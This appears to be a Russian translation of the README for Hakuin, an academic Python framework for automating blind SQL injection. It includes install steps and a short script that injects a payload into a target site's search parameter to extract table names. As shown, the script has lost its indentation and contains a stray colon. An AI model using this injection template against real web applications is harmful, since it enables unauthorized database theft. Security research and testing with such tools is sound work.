
Молниеносно быстрый и полностью настраиваемый фреймворк для оптимизации и автоматизации Blind SQL-инъекций.
Hakuin — это фреймворк для оптимизации и автоматизации Blind SQL Injection (BSQLI), написанный на Python 3. Он абстрагирует логику извлечения данных и позволяет пользователям легко и эффективно дампить базы данных из уязвимых веб-приложений. Для ускорения процесса Hakuin использует различные методы оптимизации, включая предварительно обученные и адаптивные языковые модели, оппортунистическое угадывание, статистическое моделирование, параллелизм, тернарные запросы и многое другое.
Hakuin был представлен на престижных академических и промышленных конференциях:
Более подробную информацию можно найти в нашей статье и презентации.
Для установки Hakuin просто выполните:
pip3 install hakuin
Hakuin поставляется с интуитивно понятным инструментом, который предлагает большинство функций Hakuin непосредственно из командной строки:
hk -h
Иногда уязвимости BSQLI слишком сложны для эксплуатации из командной строки и требуют пользовательских скриптов. Здесь Hakuin проявляет себя, позволяя настраивать абсолютно всё — логику инъекции, логику вывода и даже запросы.
Вот минимальный пример:
import asyncio
import aiohttp
from hakuin import Extractor, Requester
class SimpleRequester(Requester):
async def request(self, query, ctx):
payload = query.render(ctx)
url = f'http://target.com/users?search=XXX" OR ({payload})--'
async with aiohttp.request('GET', url) as resp:
return resp.status == 200
async def main():
requester = SimpleRequester():
ext = Extractor(requester=requester, dbms='sqlite')
data = await ext.extract_table_names()
print(data)
asyncio.run(main())
Обязательно ознакомьтесь с нашим учебником.
Этот репозиторий активно развивается для удовлетворения потребностей специалистов по безопасности. Исследователям, желающим воспроизвести эксперименты, описанные в нашей статье, следует установить замороженную версию, так как она содержит исходный код, скрипты экспериментов и инструкцию по воспроизведению результатов.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}